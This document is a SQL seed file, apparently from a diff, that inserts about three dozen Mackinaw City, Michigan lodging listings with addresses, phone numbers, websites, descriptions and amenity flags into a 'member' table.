+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (10,'','',1,4,'t','Beach House','11490 US 23 South','Mackinaw City','MI','49701','US','231-436-5353','800-262-5353','','','www.mackinawcity.com/beachhouse','Modern cottages on the Straits. Some kitchenettes - no utensils. Complimentary A.M. coffee and homemade muffins.','','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','f','f','f','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (11,'','',1,6,'t','Bell''s Melody','11470 W. US 23','Mackinaw City','MI','49701','US','231-436-5463','800-334-7280','231-436-7429','','www.bellsmelodymotel.com','Lakefront resort with ""Spectacular"" Bridge & Island Private sandy beach, picnic and play area, firepits and grills. Htd indoor-outdoor pool with large sundeck and spa. Some microwaves, refrigerators and private waterfront decks. C/CTV w/remotes. Free Continental Breakfast..','','','','','','','2002-12-12','2002-12-12','t','t','t','f','t','f','f','f','f','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (12,'','',1,6,'t','Best Western Dockside Waterfront','505 S. Huron Ave.','Mackinaw City','MI','49701','US','231-436-5001','800-774-1794','','','www.mackinaw-city.com/lodging/bestwesterndockside/index.htm','Mackinaw''s finest. Situated on the beautiful Straits of Mackinac. Free Breakfast. Next to shopping, restaurants, ferry boats, and city marina. Sandy beach, private balconies with lake view. Elevator for easy access. ','acf182.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','t','t','f','f','f','t','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (13,'','',1,6,'t','Best Western Mackinaw City','112 Old US 31','Mackinaw City','MI','49701','US','231-436-5544','800-647-8286','','','www.mackinawcity.com/bestwestern/','Free Breakfast Bar! In room refrigerators, coffee makers, ironing board & irons, hair dryers & laundry mat. Close to Restaurants, Mackinac Island Ferries and shopping. Member !!!. AAA 3 Diamond','','','','','','','2002-12-12','2002-12-12','t','f','t','f','f','f','f','f','t','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (14,'','',1,6,'t','Best Western Thunderbird Inn','146 U.S. 31','Mackinaw City','MI','49701','US','231-436-5433','800-633-1515','','','www.mackinawcity.com/lodging/bwthunderbird','50 Rooms, King and queen beds. Deluxe jacuzzi rooms, bridal suites, hair dryers, refrigerators, & playground. One block to restaurants and Mackinac Island Ferry Docks. 3 diamond AAA rated.','','','','','','','2002-12-12','2002-12-12','t','f','t','f','f','f','f','f','t','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (15,'','',1,6,'t','Bel-Aire Motel','150 Old US 31','Mackinaw City','MI','49701','US','231-436-5733','','','','','The Mackinaw City Bel Aire Motel is located off I-75 exit 337 going north; exit 338 going south; on US 23, 31. We are situated in the heart of America''s Great Lakes vacationland with all the beauty and sport it has to offer. During your stay with us you''ll find 46 well appointed rooms on two floors. Start your morning with complimentary coffee in the lobby. Take a relaxing swim in our beautiful outdoor and indoor swimming pool, with whirlpool. The children will have great fun in the spacious playground. Free local calls, free movies (HBO, ESPN, CNN), some rooms have in-room jacuzzis available. Come and enjoy our relaxing hotel at a great price.','belaire.jpg','','','','','','2002-12-12','2002-12-12','t','t','t','f','f','f','f','f','f','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (16,'','',1,6,'t','Chief Motel','US 23 Hwy','Mackinaw City','MI','49701','US','231-436-7981','800-968-1511','','','www.mackinawcity.com/lodging/chiefmotel/','Private beach with full view of Bridge & Island. One mile southeast of mackinaw City on Lake Huron. Picnic area with gas grills. Parking at your door.','','','','','','','2002-12-12','2002-12-12','f','t','f','f','t','f','f','f','f','f','f','f','f','f','f',0);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (17,'','',1,6,'t','Chippewa Motor Lodge','929 S. Huron Avenue, P.O. Box 518','Mackinaw City','MI','49701','US','231-436-8661','800-748-0124','','','www.largestbeach.com/prod01.html','Lakefront rooms w/ balconies overlooking Lake Huron, family units & cabin. Large private beach, picnic area & play area, indoor pool w/waterfalls & innertubes, spa & sundeck. One block to ferry. ','chippewa.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (18,'','',1,6,'t','Budget Host Mackinaw City','517 N. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5543','877-864-3227','','budhost@voyager.net','www.mackinawcity.com/lodging/budgetmackinaw/','Located on quiet shaded grounds overlooking the Straits of Mackinac & Big Mac Bridge. 1000'' of Pristine Straits Beach across the road. Sparkling outdoor pool heated to 85 degrees. Quiet, Inviting, well-appointed guestrooms. Personalized Service. Luxury Queens featuring canopy beds & victorian ambiance. Deluxe and standard rooms also available. Park your car and relax. Within walking distance to shopping, dining, ferries and attractions.','acfa25.jpg','','','','','','2002-12-12','2002-12-12','f','t','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (19,'','',1,6,'t','Baymont Inn & Suites','109 S. Nicolet St.','Mackinaw City','MI','49701','US','231-436-7737','800-301-0200','','','www.baymontmackinaw.com',' 80 Rooms adjacent to Mackinaw Crossings, a new shopping and entertainment complex in downtown Mackinaw City. Walking distance to all activities. Interior Corridors, Elevator for easy access.','','','','','','','2002-12-12','2002-12-12','t','f','t','t','f','f','t','f','t','f','f','f','f','f','t',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (20,'','',1,6,'t','Clear Water Lakeshore Motel','11380 U.S. 23 P.O. Box 327','Mackinaw City','MI','49701','US','231-436-7800','800-232-3850','','','www.mackinawcityclearwater.com','On the shores of lake Huron, with fantastic view of Mackinac Bridge & Island. Heated indoor pool with spa. Bridge view rooms, some 2 & 3 bedroom, kitchen units and some in room jacuzzi''s.','clearwater.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (21,'','',1,6,'t','Comfort Inn Lakeside','611 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5057','800-228-5150','','','www.comfortinnmackinaw.com/','Lakefront Inn. AAA 3 Diamond Sitiuated on the beautiful Straits of Mackinac. Walking distance to Mackinaw Crossings and Central Ave. Close to shopping, restaurants, ferry boats and city marina. Sandy beach, private balconies on waterfront.Indoor pool and whirlpool. Deluxe Continental Breakfast.','','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (22,'','',1,6,'t','Days Inn - Lakeview','825 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5557','800-Days Inn.','231-436-5703','','www.waterviewhotels.com/mackinaw/index.php','Three Diamond Award Winner from AAA and Chairmen''s Award Winner from Days Inn. Mackinaw''s ONLY full service Lakeview property. Ferry to Mackinac Island from rear of property.','','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','f','t','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (23,'','',1,6,'t','Downing''s Downtown Motor Inn','202 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5528','800-695-5528','','','','42 unit Victorian styled lodging facitlity with adjoining pool & spa. Located downtown. All within walking distance of Island boat docks, shops, restaurants, & Colonial Michilimackinac. Next to CourtYards of Mackinaw. Free coupons.','','','','','','','2002-12-12','2002-12-12','t','f','t','f','f','f','f','f','f','f','f','f','f','f','t',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (24,'','',1,6,'t','EconoLodge - At the Bridge','412 Nicolet St.','Mackinaw City','MI','49701','US','231-436-5026','800-55-ECONO','','econoldg@mackinawcity.com','www.econolodge.com/hotel/mi098','Open all Year. Located at the beautiful Mackinac Bridge. Within walking distance of most area attractions. Park at your door. Walk to ferries or ride the free shuttle. Only one block from Mackinaw City''s public parks located on Lake Huron. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (25,'','',1,6,'t','Super 8 Motel Beachfront','519 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5766','888-497-0103','','','','Luxurious lakefront units with private balconies. Indoor heated pool with spa & sauna. Private sandy swimming beach - adjacent to ferry docks & restaurants. Honeymoon suites w/ jacuzzi. AAA 3 diamond .','acf8f6.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (26,'','',1,6,'t','Hamilton Inn Select - Beachfront','701 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5493','800-301-1765','','','www.mackinaw-city.com/lodging/hamiltoninnselect/index.htm','Open all Year. Free Hot Breakfast. Near shopping, restaurants, ferry boats & city marina. Sandy beach, private balconies with lake view. Elevator for easy access. Playground, game room and sun deck. Indoor corridors.','acfa29.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','t','t','f','t','t','t','f','f','f','f','f','t',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (27,'','',1,6,'t','Holiday Inn Express At the Bridge','364 Louvingney','Mackinaw City','MI','49701','US','231-436-7100','1-888-497-0102','','','www.mackinawcity-mi.com','NEW ROOMS*NEW LOOK*HOSPITALITY AT ITS FINEST. Open all Year. Complimentary breakfast bar. interior corridor, Indoor heated pool, whirlpool & sauna, All new Mackinaw Club level, 1 & 2 room suites. Elevator, walk to shops/attractions & restarurants. HBO/CNN/ESPN, free local calls.','','','','','','','2002-12-12','2002-12-12','t','f','t','t','f','f','f','f','t','f','f','f','f','f','t',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (29,'','',1,6,'t','Lighthouse View Motel','699 N. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5304','800-729-0998','','','www.lighthouseviewmotel.com','Family motel located on Scenic North Huron Ave. directly across from Mackinaw Pointe Lighthouse and Lakeshore Park. Close to Mackinaw Crossings & Center Stage Theatre Complex, Shopping, Restaurants, and Island Boat Docks.','','','','','','','2002-12-12','2002-12-12','t','f','t','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (30,'','',1,6,'t','Lamplighter Motel','303 E. Jamet St.','Mackinaw City','MI','49701','US','231-436-5350','','','lamplighter@triton.net','www.lamplightermotel.com','Locted in the heart of Mackinaw''s residential district. Our rooms are clean, comfortable, well away from the busy main street, but within walking distance to everything unique to Mackinaw. We offer single units and units with 2 bedrooms and theme rooms.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (31,'','',1,4,'t','Mackinac Motor Lodge & Resort','10346 S. US 23 Hwy. ','Mackinaw City','MI','49701','US','231-436-5741','','','mmlr@freeway.net','','Sixteen modern cottages on the shores of beautifual Lake Huron with a magnificant view of Mackinac Bridge & Mackinac Island. Eight cottages with fully equipped kitchenettes, pans, dishes, towels & bedding. Picnic tables by each cottage, horseshoes, volleyball, tetherball, basketball, swings, beach toys for the little ones. 400'' of sandy beach. Free morning coffee and bonfire in the evening. A quiet county setting yet only 3 minutes to the ferries. Your hosts: Archie & Donna Falor. 1 1/2 miles from Mackinaw City. SORRY NO PETS','acf225.jpg','','','','','','2002-12-12','2002-12-12','f','f','f','f','t','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (32,'','',1,6,'t','Motel 6 Downtown Mackinaw','206 N. Nicolet St.','Mackinaw City','MI','49701','US','231-436-8961','1-888-497-0104','','','www.lovelandhotels.com/motel6-mc/index.html','(We''ll leave the light on for you!) 53 units at the foot of Mackinac Bridge. Indoor heated pool and spa, sundeck, jacuzzi suites, HBO. Walking distance to attractions, restaurants and ferry docks Free shuttle service. ','','','','','','','2002-12-12','2002-12-12','t','f','t','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (33,'','',1,4,'t','Nicolet Inn','725 S. Nicolet Ave.','Mackinaw City','MI','49701','US','231-436-7311','800-437-7817','','','www.nicoletinn.com','Front door Parking. 1, 2, & 3 room units. Queen Beds available, refrigerators, & kitchnettes available.Close to shopping & ferry docks. Restaurant & Hair Salon on Premises. Across from Travel Information Center.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (34,'','',1,6,'t','Northwinds Motel','11472 W. US 23','Mackinaw City','MI','49701','US','231-436-7434','800-898-5017','231-436-7429','','www.northwindsmotel.com','On the water with ""Fabulous"" Bridge & Island view. Private sandy beach, grills and firepit, heated indoor-outdoor pool with large sundeck & spa. Some rooms with microwaves, refrigerators and private waterfront decks. Cable TV with HBO and remotes. Free Continental Breakfast.','','','','','','','2002-12-12','2002-12-12','t','t','t','f','t','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (35,'','',1,6,'t','Parkside Inn Bridgeside','771 N. Huron Avenue','Mackinaw City','MI','49701','US','231-436-8301','800-827-8301','','','www.parksideinn.com','Newest Lakeview Inn located at the foot of Mackinac Bridge. Bridge / Lake & Parkview Rooms w/ Private Balconies. Elevator for easy access. Large Family Rooms with refrigerators, largest indoor pool,spa, fitness & game room. Near Mackinaw Crossings, restaurants, and ferry docks. Free deluxe breakfast bar. AAA 3 Diamond ','acf8eb.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','t','f','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (36,'','',1,6,'t','Quality Inn & Suites','917 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5051','877-436-5051','','','www.mackinacsuites.com','Lakefront rooms, Breakfast Room, Elevator, balconies, view of Island and Bridge, 2-room units, private patios. Ferry docks and restaurants near.','','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (37,'','',1,6,'t','Rainbow Motel','602 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5518','800-888-6077','','','www.mackinawcity.com/lodging/rainbow','29 first floor units. Walking distance to shops & restaurants. 1 block to Mackinac Island Ferry Dock. 2 blocks from Mackinaw Crossings, Live Theatre & Laser Light Show.','','','','','','','2002-12-12','2002-12-12','t','f','t','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (38,'','',1,6,'t','Ramada Limited Waterfront','723 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5055','1-888-852-4165 ','','Ramadaltd@triton.net','www.ramada.com','Lakefront, Sideview and Courtside rooms all with private balconies and refrigerators. Borders two Mackinac Island ferries. Interior corridor with indoor pool and two whirlpools. Expanded continental breakfast, elevator, and sandy beach.','','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (39,'','',1,6,'t','Ramada Inn - Convention Center','450 Nicolet St.','Mackinaw City','MI','49701','US','231-436-5535','800-2-Ramada','','','www.ramadanorth.com','The only full service Hotel & Convention Center in Mackinaw City. Family restaurant and Sports Bar on premise. Free shuttle to Mackinac Island Ferry Docks and Casino. Full service Convention Center to accomdate any meeting, banquet or wedding reception up to 350 people with 4 break out rooms.','','','','','','','2002-12-12','2002-12-12','t','f','t','f','f','t','t','t','f','f','f','f','t','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (40,'','',1,6,'t','Riviera Motel','520 N. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5577','','','','www.mackinawcity.com/lodging/riviera','Spectacular view of the Mackinac Bridge and Straits from your room or outside. Walking distance to attractions, restaurants & island ferries. Discount Coupons available. ','','','','','','','2002-12-12','2002-12-12','f','t','f','f','t','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (41,'','',1,6,'t','Econolodge Bayview','712 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5777','800-253-7216','','','www.mackinaw-city.com/lodging/econolodge/index.htm','Ferry docks & restaurants conveniently located across the street. Walk only 3 blocks to visit Mackinaw Crossings & Theatre. Motel units & private chalet/suites,indoor pool, sauna & whirlpool. Group rates available. Beach access. Mini Golf on Premise.','acfa27.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','f','f','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (42,'','',1,6,'t','Starlite Budget Inns','116 Old US 31','Mackinaw City','MI','49701','US','231-436-5959','800-288-8190','','','www.starlitebudgetinns.com','33 gound-level rooms; connecting, non-smoking, barrier free & two room units. indoor pool & spa, large grassy playground with picnic tables. Walking distance to Island Ferry docks, shops & restaurants. Large parking area. Game room & Snack Room. ','acf88a.jpg','','','','','','2002-12-12','2002-12-12','t','f','f','f','f','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (43,'','',1,6,'t','Super 8 Motel Bridgeview','601 N. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5763','888-497-0101','','','','All new log cabin Hotel w/ private balconies, Bridge and Lake view rooms. Elevator, indoor heated spa and sauna, free continental breakfast. Walking distance to attractions, restaurants, & ferries to Island, w/ free shuttle to docks. ','acf8fb.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (44,'','',1,6,'t','Grand Mackinaw Inn & Suites - Beachfront',' 907 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-8831','800-822-8314','','surf@freeway.net','www.grandmackinaw.com','New & totally smoke free, 47 Deluxe Waterfront rooms w/private balconies on 200'' of a spectacular private beach, overlooking the Straits of Mackinac; in-room Jacuzzi''s, 2 or 3 bedroom units. Refrigerators . Inroom coffee available. 1block south of Arnold Ferry & 3/4 mile S. of Mackinaw Crossings. ','acf8ed.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','f','f','t','f','f','f','f','f','f',NULL);
